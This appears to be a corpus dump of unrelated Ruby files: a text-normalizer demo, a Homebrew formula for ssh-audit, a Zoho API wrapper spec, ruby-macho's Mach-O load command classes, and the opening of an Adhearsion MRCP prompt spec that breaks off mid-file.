# -*- coding: utf-8 -*- $LOAD_PATH.unshift "../lib" require "normalizer" Normalizer.logger = ActiveSupport::Logger.new(STDOUT) Normalizer.normalize("ruby on rails", :hankaku => true) # => "ruby on rails" Normalizer.normalize("ドラえもん", :katakana => true) # => "ドラエモン" Normalizer.normalize("ドラえもん", :hiragana => true) # => "どらえもん" Normalizer.normalize("<b>ドラえもん</b>", :strip_tags => true) # => "ドラえもん" Normalizer.normalize("ドラ\xffえもん", :scrub => true) # => "ドラえもん" Normalizer.normalize("ruby on rails", :space_zentohan => true) # => "ruby on rails" Normalizer.normalize("foo\r\nbar\r\n", :enter => true) # => "foo\nbar\n" Normalizer.normalize(" ドラえもん ", :strip => true) # => "ドラえもん" Normalizer.normalize(" ruby on rails ", :squish => true) # => "ruby on rails" Normalizer.normalize("ドラえもん", :truncate => 2) # => "ドラ" Normalizer.normalize(" ", :blank_to_nil => true) # => nil Normalizer.normalize(nil, :to_s => true) # => "" # >> Normalize process at 1/1 by hankaku "ruby on rails" => "ruby on rails" # >> Normalize process at 1/1 by katakana "ドラえもん" => "ドラエモン" # >> Normalize process at 1/1 by hiragana "ドラえもん" => "どらえもん" # >> Normalize process at 1/1 by strip_tags "<b>ドラえもん</b>" => "ドラえもん" # >> Normalize process at 1/1 by scrub "ドラ\xFFえもん" => "ドラえもん" # >> Normalize process at 1/1 by space_zentohan "ruby on rails" => "ruby on rails" # >> Normalize process at 1/1 by enter "foo\r\nbar\r\n" => "foo\nbar\n" # >> Normalize process at 1/1 by strip " ドラえもん " => "ドラえもん" # >> Normalize process at 1/1 by squish " ruby on rails " => "ruby on rails" # >> Normalize process at 1/1 by truncate "ドラえもん" => "ドラ" # >> Normalize process at 1/1 by blank_to_nil " " => "" # >> Normalize process at 1/1 by to_s "" => ""
65.7
90
0.562659
e2bf1ea0c04d00b0a5a54a5ee2436298a242f1c7
530
class SshAudit < Formula desc "SSH server auditing" homepage "https://github.com/arthepsy/ssh-audit" url "https://github.com/arthepsy/ssh-audit/archive/v1.7.0.tar.gz" sha256 "cba29cc19ec2932e4f43c720b2c49a7d179219e23482476aeb472f7463713b68" revision 1 head "https://github.com/arthepsy/ssh-audit.git" bottle :unneeded def install bin.install "ssh-audit.py" => "ssh-audit" end test do output = shell_output("#{bin}/ssh-audit -h 2>&1", 1) assert_match "force ssh version 1 only", output end end
26.5
75
0.720755
b977cd9ff9332e590689053eabddd4c5f1a13274
1,676
require 'spec_helper' describe "Zohax::Api" do before :all do @username = "[email protected]" @password = "zohotest" @token = "c9515d642d1557bf354f082c23e86a5f" end describe "without auth token" do before :all do @api = Zohax::Api.new(@username, @password, @token) end it "should store the auth URL" do @api.auth_url.should == "https://accounts.zoho.com/apiauthtoken/nb/create?SCOPE=ZohoCRM/crmapi&[email protected]&PASSWORD=zohotest" end it "should get the auth token" do @api.class.stub_chain(:get, :parsed_response).and_return("\nAUTHTOKEN=0123456789\n") @api.get_token @api.auth_token.should_not be_nil end it "should have basic info available" do @api.username.should eq(@username) @api.password.should eq(@password) end end describe "with auth token" do before :all do @api = Zohax::Api.new(@username, @password, @token) @response = { "response" => { "result" => { "Leads" => { "row" => { "FL" => [ {"val" => "foo", "content" => "bar" }]}}}}} end describe :json_to_fl_hash do it "turns the data into an FL hash" do returned_data = @api.json_to_fl_hash(@response) returned_data.class.should == Hash returned_data.should == { "foo" => "bar" } end end describe :get_record_by_id do it "gets a record" do record_id = "612278000000056001" @api.class.stub_chain(:get, :parsed_response) JSON.stub(:parse).and_return(@response) record = @api.get_record_by_id(record_id) record.class.should == Zohax::Lead end end end end
28.896552
149
0.629475
5d30d8ddae647b5cc06116f80538e04f5f01a3cb
30,748
module MachO # load commands added after OS X 10.1 need to be bitwise ORed with # LC_REQ_DYLD to be recognized by the dynamic linder (dyld) LC_REQ_DYLD = 0x80000000 # association of load commands to symbol representations # @api private LOAD_COMMANDS = { 0x1 => :LC_SEGMENT, 0x2 => :LC_SYMTAB, 0x3 => :LC_SYMSEG, 0x4 => :LC_THREAD, 0x5 => :LC_UNIXTHREAD, 0x6 => :LC_LOADFVMLIB, 0x7 => :LC_IDFVMLIB, 0x8 => :LC_IDENT, 0x9 => :LC_FVMFILE, 0xa => :LC_PREPAGE, 0xb => :LC_DYSYMTAB, 0xc => :LC_LOAD_DYLIB, 0xd => :LC_ID_DYLIB, 0xe => :LC_LOAD_DYLINKER, 0xf => :LC_ID_DYLINKER, 0x10 => :LC_PREBOUND_DYLIB, 0x11 => :LC_ROUTINES, 0x12 => :LC_SUB_FRAMEWORK, 0x13 => :LC_SUB_UMBRELLA, 0x14 => :LC_SUB_CLIENT, 0x15 => :LC_SUB_LIBRARY, 0x16 => :LC_TWOLEVEL_HINTS, 0x17 => :LC_PREBIND_CKSUM, (0x18 | LC_REQ_DYLD) => :LC_LOAD_WEAK_DYLIB, 0x19 => :LC_SEGMENT_64, 0x1a => :LC_ROUTINES_64, 0x1b => :LC_UUID, (0x1c | LC_REQ_DYLD) => :LC_RPATH, 0x1d => :LC_CODE_SIGNATURE, 0x1e => :LC_SEGMENT_SPLIT_INFO, (0x1f | LC_REQ_DYLD) => :LC_REEXPORT_DYLIB, 0x20 => :LC_LAZY_LOAD_DYLIB, 0x21 => :LC_ENCRYPTION_INFO, 0x22 => :LC_DYLD_INFO, (0x22 | LC_REQ_DYLD) => :LC_DYLD_INFO_ONLY, (0x23 | LC_REQ_DYLD) => :LC_LOAD_UPWARD_DYLIB, 0x24 => :LC_VERSION_MIN_MACOSX, 0x25 => :LC_VERSION_MIN_IPHONEOS, 0x26 => :LC_FUNCTION_STARTS, 0x27 => :LC_DYLD_ENVIRONMENT, (0x28 | LC_REQ_DYLD) => :LC_MAIN, 0x29 => :LC_DATA_IN_CODE, 0x2a => :LC_SOURCE_VERSION, 0x2b => :LC_DYLIB_CODE_SIGN_DRS, 0x2c => :LC_ENCRYPTION_INFO_64, 0x2d => :LC_LINKER_OPTION, 0x2e => :LC_LINKER_OPTIMIZATION_HINT } # load commands responsible for loading dylibs # @api private DYLIB_LOAD_COMMANDS = [ :LC_LOAD_DYLIB, :LC_LOAD_WEAK_DYLIB, :LC_REEXPORT_DYLIB, :LC_LAZY_LOAD_DYLIB, :LC_LOAD_UPWARD_DYLIB, ].freeze # association of load command symbols to string representations of classes # @api private LC_STRUCTURES = { :LC_SEGMENT => "SegmentCommand", :LC_SYMTAB => "SymtabCommand", :LC_SYMSEG => "LoadCommand", # obsolete :LC_THREAD => "ThreadCommand", :LC_UNIXTHREAD => "ThreadCommand", :LC_LOADFVMLIB => "LoadCommand", # obsolete :LC_IDFVMLIB => "LoadCommand", # obsolete :LC_IDENT => "LoadCommand", # obsolete :LC_FVMFILE => "LoadCommand", # reserved for internal use only :LC_PREPAGE => "LoadCommand", # reserved for internal use only :LC_DYSYMTAB => "DysymtabCommand", :LC_LOAD_DYLIB => "DylibCommand", :LC_ID_DYLIB => "DylibCommand", :LC_LOAD_DYLINKER => "DylinkerCommand", :LC_ID_DYLINKER => "DylinkerCommand", :LC_PREBOUND_DYLIB => "PreboundDylibCommand", :LC_ROUTINES => "RoutinesCommand", :LC_SUB_FRAMEWORK => "SubFrameworkCommand", :LC_SUB_UMBRELLA => "SubUmbrellaCommand", :LC_SUB_CLIENT => "SubClientCommand", :LC_SUB_LIBRARY => "SubLibraryCommand", :LC_TWOLEVEL_HINTS => "TwolevelHintsCommand", :LC_PREBIND_CKSUM => "PrebindCksumCommand", :LC_LOAD_WEAK_DYLIB => "DylibCommand", :LC_SEGMENT_64 => "SegmentCommand64", :LC_ROUTINES_64 => "RoutinesCommand64", :LC_UUID => "UUIDCommand", :LC_RPATH => "RpathCommand", :LC_CODE_SIGNATURE => "LinkeditDataCommand", :LC_SEGMENT_SPLIT_INFO => "LinkeditDataCommand", :LC_REEXPORT_DYLIB => "DylibCommand", :LC_LAZY_LOAD_DYLIB => "DylibCommand", :LC_ENCRYPTION_INFO => "EncryptionInfoCommand", :LC_DYLD_INFO => "DyldInfoCommand", :LC_DYLD_INFO_ONLY => "DyldInfoCommand", :LC_LOAD_UPWARD_DYLIB => "DylibCommand", :LC_VERSION_MIN_MACOSX => "VersionMinCommand", :LC_VERSION_MIN_IPHONEOS => "VersionMinCommand", :LC_FUNCTION_STARTS => "LinkeditDataCommand", :LC_DYLD_ENVIRONMENT => "DylinkerCommand", :LC_MAIN => "EntryPointCommand", :LC_DATA_IN_CODE => "LinkeditDataCommand", :LC_SOURCE_VERSION => "SourceVersionCommand", :LC_DYLIB_CODE_SIGN_DRS => "LinkeditDataCommand", :LC_ENCRYPTION_INFO_64 => "EncryptionInfoCommand64", :LC_LINKER_OPTION => "LinkerOptionCommand", :LC_LINKER_OPTIMIZATION_HINT => "LinkeditDataCommand" } # association of segment name symbols to names # @api private SEGMENT_NAMES = { :SEG_PAGEZERO => "__PAGEZERO", :SEG_TEXT => "__TEXT", :SEG_DATA => "__DATA", :SEG_OBJC => "__OBJC", :SEG_ICON => "__ICON", :SEG_LINKEDIT => "__LINKEDIT", :SEG_UNIXSTACK => "__UNIXSTACK", :SEG_IMPORT => "__IMPORT" } # association of segment flag symbols to values # @api private SEGMENT_FLAGS = { :SG_HIGHVM => 0x1, :SG_FVMLIB => 0x2, :SG_NORELOC => 0x4, :SG_PROTECTED_VERSION_1 => 0x8 } # Mach-O load command structure # This is the most generic load command - only cmd ID and size are # represented, and no actual data. Used when a more specific class # isn't available/implemented. class LoadCommand < MachOStructure # @return [Fixnum] the offset in the file the command was created from attr_reader :offset # @return [Fixnum] the load command's identifying number attr_reader :cmd # @return [Fixnum] the size of the load command, in bytes attr_reader :cmdsize FORMAT = "VV" SIZEOF = 8 # Creates a new LoadCommand given an offset and binary string # @param offset [Fixnum] the offset to initialize with # @param bin [String] the binary string to initialize with # @return [MachO::LoadCommand] the new load command # @api private def self.new_from_bin(raw_data, offset, bin) self.new(raw_data, offset, *bin.unpack(self::FORMAT)) end # @param offset [Fixnum] the offset to initialize with # @param cmd [Fixnum] the load command's identifying number # @param cmdsize [Fixnum] the size of the load command in bytes # @api private def initialize(raw_data, offset, cmd, cmdsize) @raw_data = raw_data @offset = offset @cmd = cmd @cmdsize = cmdsize end # @return [Symbol] a symbol representation of the load command's identifying number def type LOAD_COMMANDS[cmd] end alias :to_sym :type # @return [String] a string representation of the load command's identifying number def to_s type.to_s end # Represents a Load Command string. A rough analogue to the lc_str # struct used internally by OS X. This class allows ruby-macho to # pretend that strings stored in LCs are immediately available without # explicit operations on the raw Mach-O data. class LCStr # @param raw_data [String] the raw Mach-O data. # @param lc [MachO::LoadCommand] the load command # @param lc_str [Fixnum] the offset to the beginning of the string # @api private def initialize(raw_data, lc, lc_str) @raw_data = raw_data @lc = lc @lc_str = lc_str @str = @raw_data.slice(@lc.offset + @[email protected] + @lc.cmdsize).delete("\x00") end # @return [String] a string representation of the LCStr def to_s @str end # @return [Fixnum] the offset to the beginning of the string in the load command def to_i @lc_str end end end # A load command containing a single 128-bit unique random number identifying # an object produced by static link editor. Corresponds to LC_UUID. class UUIDCommand < LoadCommand # @return [Array<Fixnum>] the UUID attr_reader :uuid FORMAT = "VVa16" SIZEOF = 24 # @api private def initialize(raw_data, offset, cmd, cmdsize, uuid) super(raw_data, offset, cmd, cmdsize) @uuid = uuid.unpack("C16") # re-unpack for the actual UUID array end # @return [String] a string representation of the UUID def uuid_string hexes = uuid.map { |e| "%02x" % e } segs = [ hexes[0..3].join, hexes[4..5].join, hexes[6..7].join, hexes[8..9].join, hexes[10..15].join ] segs.join("-") end end # A load command indicating that part of this file is to be mapped into # the task's address space. Corresponds to LC_SEGMENT. class SegmentCommand < LoadCommand # @return [String] the name of the segment attr_reader :segname # @return [Fixnum] the memory address of the segment attr_reader :vmaddr # @return [Fixnum] the memory size of the segment attr_reader :vmsize # @return [Fixnum] the file offset of the segment attr_reader :fileoff # @return [Fixnum] the amount to map from the file attr_reader :filesize # @return [Fixnum] the maximum VM protection attr_reader :maxprot # @return [Fixnum] the initial VM protection attr_reader :initprot # @return [Fixnum] the number of sections in the segment attr_reader :nsects # @return [Fixnum] any flags associated with the segment attr_reader :flags FORMAT = "VVa16VVVVVVVV" SIZEOF = 56 # @api private def initialize(raw_data, offset, cmd, cmdsize, segname, vmaddr, vmsize, fileoff, filesize, maxprot, initprot, nsects, flags) super(raw_data, offset, cmd, cmdsize) @segname = segname.delete("\x00") @vmaddr = vmaddr @vmsize = vmsize @fileoff = fileoff @filesize = filesize @maxprot = maxprot @initprot = initprot @nsects = nsects @flags = flags end # @example # puts "this segment relocated in/to it" if sect.flag?(:SG_NORELOC) # @param flag [Symbol] a segment flag symbol # @return [Boolean] true if `flag` is present in the segment's flag field def flag?(flag) flag = SEGMENT_FLAGS[flag] return false if flag.nil? flags & flag == flag end end # A load command indicating that part of this file is to be mapped into # the task's address space. Corresponds to LC_SEGMENT_64. class SegmentCommand64 < LoadCommand # @return [String] the name of the segment attr_reader :segname # @return [Fixnum] the memory address of the segment attr_reader :vmaddr # @return [Fixnum] the memory size of the segment attr_reader :vmsize # @return [Fixnum] the file offset of the segment attr_reader :fileoff # @return [Fixnum] the amount to map from the file attr_reader :filesize # @return [Fixnum] the maximum VM protection attr_reader :maxprot # @return [Fixnum] the initial VM protection attr_reader :initprot # @return [Fixnum] the number of sections in the segment attr_reader :nsects # @return [Fixnum] any flags associated with the segment attr_reader :flags FORMAT = "VVa16QQQQVVVV" SIZEOF = 72 # @api private def initialize(raw_data, offset, cmd, cmdsize, segname, vmaddr, vmsize, fileoff, filesize, maxprot, initprot, nsects, flags) super(raw_data, offset, cmd, cmdsize) @segname = segname.delete("\x00") @vmaddr = vmaddr @vmsize = vmsize @fileoff = fileoff @filesize = filesize @maxprot = maxprot @initprot = initprot @nsects = nsects @flags = flags end # @example # puts "this segment relocated in/to it" if sect.flag?(:SG_NORELOC) # @param flag [Symbol] a segment flag symbol # @return [Boolean] true if `flag` is present in the segment's flag field def flag?(flag) flag = SEGMENT_FLAGS[flag] return false if flag.nil? flags & flag == flag end end # A load command representing some aspect of shared libraries, depending # on filetype. Corresponds to LC_ID_DYLIB, LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, # and LC_REEXPORT_DYLIB. class DylibCommand < LoadCommand # @return [MachO::LoadCommand::LCStr] the library's path name as an LCStr attr_reader :name # @return [Fixnum] the library's build time stamp attr_reader :timestamp # @return [Fixnum] the library's current version number attr_reader :current_version # @return [Fixnum] the library's compatibility version number attr_reader :compatibility_version FORMAT = "VVVVVV" SIZEOF = 24 # @api private def initialize(raw_data, offset, cmd, cmdsize, name, timestamp, current_version, compatibility_version) super(raw_data, offset, cmd, cmdsize) @name = LCStr.new(raw_data, self, name) @timestamp = timestamp @current_version = current_version @compatibility_version = compatibility_version end end # A load command representing some aspect of the dynamic linker, depending # on filetype. Corresponds to LC_ID_DYLINKER, LC_LOAD_DYLINKER, and # LC_DYLD_ENVIRONMENT. class DylinkerCommand < LoadCommand # @return [MachO::LoadCommand::LCStr] the dynamic linker's path name as an LCStr attr_reader :name FORMAT = "VVV" SIZEOF = 12 # @api private def initialize(raw_data, offset, cmd, cmdsize, name) super(raw_data, offset, cmd, cmdsize) @name = LCStr.new(raw_data, self, name) end end # A load command used to indicate dynamic libraries used in prebinding. # Corresponds to LC_PREBOUND_DYLIB. class PreboundDylibCommand < LoadCommand # @return [MachO::LoadCommand::LCStr] the library's path name as an LCStr attr_reader :name # @return [Fixnum] the number of modules in the library attr_reader :nmodules # @return [Fixnum] a bit vector of linked modules attr_reader :linked_modules FORMAT = "VVVVV" SIZEOF = 20 # @api private def initialize(raw_data, offset, cmd, cmdsize, name, nmodules, linked_modules) super(raw_data, offset, cmd, cmdsize) @name = LCStr.new(raw_data, self, name) @nmodules = nmodules @linked_modules = linked_modules end end # A load command used to represent threads. # @note cctools-870 has all fields of thread_command commented out except common ones (cmd, cmdsize) class ThreadCommand < LoadCommand end # A load command containing the address of the dynamic shared library # initialization routine and an index into the module table for the module # that defines the routine. Corresponds to LC_ROUTINES. class RoutinesCommand < LoadCommand # @return [Fixnum] the address of the initialization routine attr_reader :init_address # @return [Fixnum] the index into the module table that the init routine is defined in attr_reader :init_module # @return [void] attr_reader :reserved1 # @return [void] attr_reader :reserved2 # @return [void] attr_reader :reserved3 # @return [void] attr_reader :reserved4 # @return [void] attr_reader :reserved5 # @return [void] attr_reader :reserved6 FORMAT = "VVVVVVVVVV" SIZEOF = 40 # @api private def initialize(raw_data, offset, cmd, cmdsize, init_address, init_module, reserved1, reserved2, reserved3, reserved4, reserved5, reserved6) super(raw_data, offset, cmd, cmdsize) @init_address = init_address @init_module = init_module @reserved1 = reserved1 @reserved2 = reserved2 @reserved3 = reserved3 @reserved4 = reserved4 @reserved5 = reserved5 @reserved6 = reserved6 end end # A load command containing the address of the dynamic shared library # initialization routine and an index into the module table for the module # that defines the routine. Corresponds to LC_ROUTINES_64. class RoutinesCommand64 < LoadCommand # @return [Fixnum] the address of the initialization routine attr_reader :init_address # @return [Fixnum] the index into the module table that the init routine is defined in attr_reader :init_module # @return [void] attr_reader :reserved1 # @return [void] attr_reader :reserved2 # @return [void] attr_reader :reserved3 # @return [void] attr_reader :reserved4 # @return [void] attr_reader :reserved5 # @return [void] attr_reader :reserved6 FORMAT = "VVQQQQQQQQ" SIZEOF = 72 # @api private def initialize(raw_data, offset, cmd, cmdsize, init_address, init_module, reserved1, reserved2, reserved3, reserved4, reserved5, reserved6) super(raw_data, offset, cmd, cmdsize) @init_address = init_address @init_module = init_module @reserved1 = reserved1 @reserved2 = reserved2 @reserved3 = reserved3 @reserved4 = reserved4 @reserved5 = reserved5 @reserved6 = reserved6 end end # A load command signifying membership of a subframework containing the name # of an umbrella framework. Corresponds to LC_SUB_FRAMEWORK. class SubFrameworkCommand < LoadCommand # @return [MachO::LoadCommand::LCStr] the umbrella framework name as an LCStr attr_reader :umbrella FORMAT = "VVV" SIZEOF = 12 # @api private def initialize(raw_data, offset, cmd, cmdsize, umbrella) super(raw_data, offset, cmd, cmdsize) @umbrella = LCStr.new(raw_data, self, umbrella) end end # A load command signifying membership of a subumbrella containing the name # of an umbrella framework. Corresponds to LC_SUB_UMBRELLA. class SubUmbrellaCommand < LoadCommand # @return [MachO::LoadCommand::LCStr] the subumbrella framework name as an LCStr attr_reader :sub_umbrella FORMAT = "VVV" SIZEOF = 12 # @api private def initialize(raw_data, offset, cmd, cmdsize, sub_umbrella) super(raw_data, offset, cmd, cmdsize) @sub_umbrella = LCStr.new(raw_data, self, sub_umbrella) end end # A load command signifying a sublibrary of a shared library. Corresponds # to LC_SUB_LIBRARY. class SubLibraryCommand < LoadCommand # @return [MachO::LoadCommand::LCStr] the sublibrary name as an LCStr attr_reader :sub_library FORMAT = "VVV" SIZEOF = 12 # @api private def initialize(raw_data, offset, cmd, cmdsize, sub_library) super(raw_data, offset, cmd, cmdsize) @sub_library = LCStr.new(raw_data, self, sub_library) end end # A load command signifying a shared library that is a subframework of # an umbrella framework. Corresponds to LC_SUB_CLIENT. class SubClientCommand < LoadCommand # @return [MachO::LoadCommand::LCStr] the subclient name as an LCStr attr_reader :sub_client FORMAT = "VVV" SIZEOF = 12 # @api private def initialize(raw_data, offset, cmd, cmdsize, sub_client) super(raw_data, offset, cmd, cmdsize) @sub_client = LCStr.new(raw_data, self, sub_client) end end # A load command containing the offsets and sizes of the link-edit 4.3BSD # "stab" style symbol table information. Corresponds to LC_SYMTAB. class SymtabCommand < LoadCommand # @return [Fixnum] the symbol table's offset attr_reader :symoff # @return [Fixnum] the number of symbol table entries attr_reader :nsyms # @return the string table's offset attr_reader :stroff # @return the string table size in bytes attr_reader :strsize FORMAT = "VVVVVV" SIZEOF = 24 # @api private def initialize(raw_data, offset, cmd, cmdsize, symoff, nsyms, stroff, strsize) super(raw_data, offset, cmd, cmdsize) @symoff = symoff @nsyms = nsyms @stroff = stroff @strsize = strsize end end # A load command containing symbolic information needed to support data # structures used by the dynamic link editor. Corresponds to LC_DYSYMTAB. class DysymtabCommand < LoadCommand # @return [Fixnum] the index to local symbols attr_reader :ilocalsym # @return [Fixnum] the number of local symbols attr_reader :nlocalsym # @return [Fixnum] the index to externally defined symbols attr_reader :iextdefsym # @return [Fixnum] the number of externally defined symbols attr_reader :nextdefsym # @return [Fixnum] the index to undefined symbols attr_reader :iundefsym # @return [Fixnum] the number of undefined symbols attr_reader :nundefsym # @return [Fixnum] the file offset to the table of contents attr_reader :tocoff # @return [Fixnum] the number of entries in the table of contents attr_reader :ntoc # @return [Fixnum] the file offset to the module table attr_reader :modtaboff # @return [Fixnum] the number of entries in the module table attr_reader :nmodtab # @return [Fixnum] the file offset to the referenced symbol table attr_reader :extrefsymoff # @return [Fixnum] the number of entries in the referenced symbol table attr_reader :nextrefsyms # @return [Fixnum] the file offset to the indirect symbol table attr_reader :indirectsymoff # @return [Fixnum] the number of entries in the indirect symbol table attr_reader :nindirectsyms # @return [Fixnum] the file offset to the external relocation entries attr_reader :extreloff # @return [Fixnum] the number of external relocation entries attr_reader :nextrel # @return [Fixnum] the file offset to the local relocation entries attr_reader :locreloff # @return [Fixnum] the number of local relocation entries attr_reader :nlocrel FORMAT = "VVVVVVVVVVVVVVVVVVVV" SIZEOF = 80 # ugh # @api private def initialize(raw_data, offset, cmd, cmdsize, ilocalsym, nlocalsym, iextdefsym, nextdefsym, iundefsym, nundefsym, tocoff, ntoc, modtaboff, nmodtab, extrefsymoff, nextrefsyms, indirectsymoff, nindirectsyms, extreloff, nextrel, locreloff, nlocrel) super(raw_data, offset, cmd, cmdsize) @ilocalsym = ilocalsym @nlocalsym = nlocalsym @iextdefsym = iextdefsym @nextdefsym = nextdefsym @iundefsym = iundefsym @nundefsym = nundefsym @tocoff = tocoff @ntoc = ntoc @modtaboff = modtaboff @nmodtab = nmodtab @extrefsymoff = extrefsymoff @nextrefsyms = nextrefsyms @indirectsymoff = indirectsymoff @nindirectsyms = nindirectsyms @extreloff = extreloff @nextrel = nextrel @locreloff = locreloff @nlocrel = nlocrel end end # A load command containing the offset and number of hints in the two-level # namespace lookup hints table. Corresponds to LC_TWOLEVEL_HINTS. class TwolevelHintsCommand < LoadCommand # @return [Fixnum] the offset to the hint table attr_reader :htoffset # @return [Fixnum] the number of hints in the hint table attr_reader :nhints FORMAT = "VVVV" SIZEOF = 16 # @api private def initialize(raw_data, offset, cmd, cmdsize, htoffset, nhints) super(raw_data, offset, cmd, cmdsize) @htoffset = htoffset @nhints = nhints end end # A load command containing the value of the original checksum for prebound # files, or zero. Corresponds to LC_PREBIND_CKSUM. class PrebindCksumCommand < LoadCommand # @return [Fixnum] the checksum or 0 attr_reader :cksum FORMAT = "VVV" SIZEOF = 12 # @api private def initialize(raw_data, offset, cmd, cmdsize, cksum) super(raw_data, offset, cmd, cmdsize) @cksum = cksum end end # A load command representing an rpath, which specifies a path that should # be added to the current run path used to find @rpath prefixed dylibs. # Corresponds to LC_RPATH. class RpathCommand < LoadCommand # @return [MachO::LoadCommand::LCStr] the path to add to the run path as an LCStr attr_reader :path FORMAT = "VVV" SIZEOF = 12 # @api private def initialize(raw_data, offset, cmd, cmdsize, path) super(raw_data, offset, cmd, cmdsize) @path = LCStr.new(raw_data, self, path) end end # A load command representing the offsets and sizes of a blob of data in # the __LINKEDIT segment. Corresponds to LC_CODE_SIGNATURE, LC_SEGMENT_SPLIT_INFO, # LC_FUNCTION_STARTS, LC_DATA_IN_CODE, LC_DYLIB_CODE_SIGN_DRS, and LC_LINKER_OPTIMIZATION_HINT. class LinkeditDataCommand < LoadCommand # @return [Fixnum] offset to the data in the __LINKEDIT segment attr_reader :dataoff # @return [Fixnum] size of the data in the __LINKEDIT segment attr_reader :datasize FORMAT = "VVVV" SIZEOF = 16 # @api private def initialize(raw_data, offset, cmd, cmdsize, dataoff, datasize) super(raw_data, offset, cmd, cmdsize) @dataoff = dataoff @datasize = datasize end end # A load command representing the offset to and size of an encrypted # segment. Corresponds to LC_ENCRYPTION_INFO. class EncryptionInfoCommand < LoadCommand # @return [Fixnum] the offset to the encrypted segment attr_reader :cryptoff # @return [Fixnum] the size of the encrypted segment attr_reader :cryptsize # @return [Fixnum] the encryption system, or 0 if not encrypted yet attr_reader :cryptid FORMAT = "VVVVV" SIZEOF = 20 # @api private def initialize(raw_data, offset, cmd, cmdsize, cryptoff, cryptsize, cryptid) super(raw_data, offset, cmd, cmdsize) @cryptoff = cryptoff @cryptsize = cryptsize @cryptid = cryptid end end # A load command representing the offset to and size of an encrypted # segment. Corresponds to LC_ENCRYPTION_INFO_64. class EncryptionInfoCommand64 < LoadCommand # @return [Fixnum] the offset to the encrypted segment attr_reader :cryptoff # @return [Fixnum] the size of the encrypted segment attr_reader :cryptsize # @return [Fixnum] the encryption system, or 0 if not encrypted yet attr_reader :cryptid # @return [Fixnum] 64-bit padding value attr_reader :pad FORMAT = "VVVVVV" SIZEOF = 24 # @api private def initialize(raw_data, offset, cmd, cmdsize, cryptoff, cryptsize, cryptid, pad) super(raw_data, offset, cmd, cmdsize) @cryptoff = cryptoff @cryptsize = cryptsize @cryptid = cryptid @pad = pad end end # A load command containing the minimum OS version on which the binary # was built to run. Corresponds to LC_VERSION_MIN_MACOSX and LC_VERSION_MIN_IPHONEOS. class VersionMinCommand < LoadCommand # @return [Fixnum] the version X.Y.Z packed as x16.y8.z8 attr_reader :version # @return [Fixnum] the SDK version X.Y.Z packed as x16.y8.z8 attr_reader :sdk FORMAT = "VVVV" SIZEOF = 16 # @api private def initialize(raw_data, offset, cmd, cmdsize, version, sdk) super(raw_data, offset, cmd, cmdsize) @version = version @sdk = sdk end # A string representation of the binary's minimum OS version. # @return [String] a string representing the minimum OS version. def version_string binary = "%032b" % version segs = [ binary[0..15], binary[16..23], binary[24..31] ].map { |s| s.to_i(2) } segs.join(".") end # A string representation of the binary's SDK version. # @return [String] a string representing the SDK version. def sdk_string binary = "%032b" % sdk segs = [ binary[0..15], binary[16..23], binary[24..31] ].map { |s| s.to_i(2) } segs.join(".") end end # A load command containing the file offsets and sizes of the new # compressed form of the information dyld needs to load the image. # Corresponds to LC_DYLD_INFO and LC_DYLD_INFO_ONLY. class DyldInfoCommand < LoadCommand # @return [Fixnum] the file offset to the rebase information attr_reader :rebase_off # @return [Fixnum] the size of the rebase information attr_reader :rebase_size # @return [Fixnum] the file offset to the binding information attr_reader :bind_off # @return [Fixnum] the size of the binding information attr_reader :bind_size # @return [Fixnum] the file offset to the weak binding information attr_reader :weak_bind_off # @return [Fixnum] the size of the weak binding information attr_reader :weak_bind_size # @return [Fixnum] the file offset to the lazy binding information attr_reader :lazy_bind_off # @return [Fixnum] the size of the lazy binding information attr_reader :lazy_bind_size # @return [Fixnum] the file offset to the export information attr_reader :export_off # @return [Fixnum] the size of the export information attr_reader :export_size FORMAT = "VVVVVVVVVVVV" SIZEOF = 48 # @api private def initialize(raw_data, offset, cmd, cmdsize, rebase_off, rebase_size, bind_off, bind_size, weak_bind_off, weak_bind_size, lazy_bind_off, lazy_bind_size, export_off, export_size) super(raw_data, offset, cmd, cmdsize) @rebase_off = rebase_off @rebase_size = rebase_size @bind_off = bind_off @bind_size = bind_size @weak_bind_off = weak_bind_off @weak_bind_size = weak_bind_size @lazy_bind_off = lazy_bind_off @lazy_bind_size = lazy_bind_size @export_off = export_off @export_size = export_size end end # A load command containing linker options embedded in object files. # Corresponds to LC_LINKER_OPTION. class LinkerOptionCommand < LoadCommand # @return [Fixnum] the number of strings attr_reader :count FORMAT = "VVV" SIZEOF = 12 # @api private def initialize(raw_data, offset, cmd, cmdsize, count) super(raw_data, offset, cmd, cmdsize) @count = count end end # A load command specifying the offset of main(). Corresponds to LC_MAIN. class EntryPointCommand < LoadCommand # @return [Fixnum] the file (__TEXT) offset of main() attr_reader :entryoff # @return [Fixnum] if not 0, the initial stack size. attr_reader :stacksize FORMAT = "VVQQ" SIZEOF = 24 # @api private def initialize(raw_data, offset, cmd, cmdsize, entryoff, stacksize) super(raw_data, offset, cmd, cmdsize) @entryoff = entryoff @stacksize = stacksize end end # A load command specifying the version of the sources used to build the # binary. Corresponds to LC_SOURCE_VERSION. class SourceVersionCommand < LoadCommand # @return [Fixnum] the version packed as a24.b10.c10.d10.e10 attr_reader :version FORMAT = "VVQ" SIZEOF = 16 # @api private def initialize(raw_data, offset, cmd, cmdsize, version) super(raw_data, offset, cmd, cmdsize) @version = version end # A string representation of the sources used to build the binary. # @return [String] a string representation of the version def version_string binary = "%064b" % version segs = [ binary[0..23], binary[24..33], binary[34..43], binary[44..53], binary[54..63] ].map { |s| s.to_i(2) } segs.join(".") end end end
30.686627
102
0.680792
e848e4ecd1db467655a9f69d507c09f52075565b
52
fput 'unlock door' fput 'open door' move 'go door'
17.333333
18
0.692308
91751d54603db594b512f3d739176952ecc8aa32
48,911
# encoding: utf-8 require 'spec_helper' module Adhearsion module Translator class Asterisk module Component describe MRCPPrompt do include HasMockCallbackConnection let(:ami_client) { double('AMI') } let(:translator) { Translator::Asterisk.new ami_client, connection } let(:mock_call) { Translator::Asterisk::Call.new 'foo', translator, ami_client, connection } let :ssml_doc do RubySpeech::SSML.draw do say_as(:interpret_as => :cardinal) { 'FOO' } end end let :voice_grammar do RubySpeech::GRXML.draw :mode => 'voice', :root => 'color' do rule id: 'color' do one_of do item { 'red' } item { 'blue' } item { 'green' } end end end end let :dtmf_grammar do RubySpeech::GRXML.draw :mode => 'dtmf', :root => 'pin' do rule id: 'digit' do one_of do 0.upto(9) { |d| item { d.to_s } } end end rule id: 'pin', scope: 'public' do item repeat: '2' do ruleref uri: '#digit' end end end end let(:grammar) { voice_grammar } let(:output_command_opts) { {} } let :output_command_options do { render_document: {value: ssml_doc} 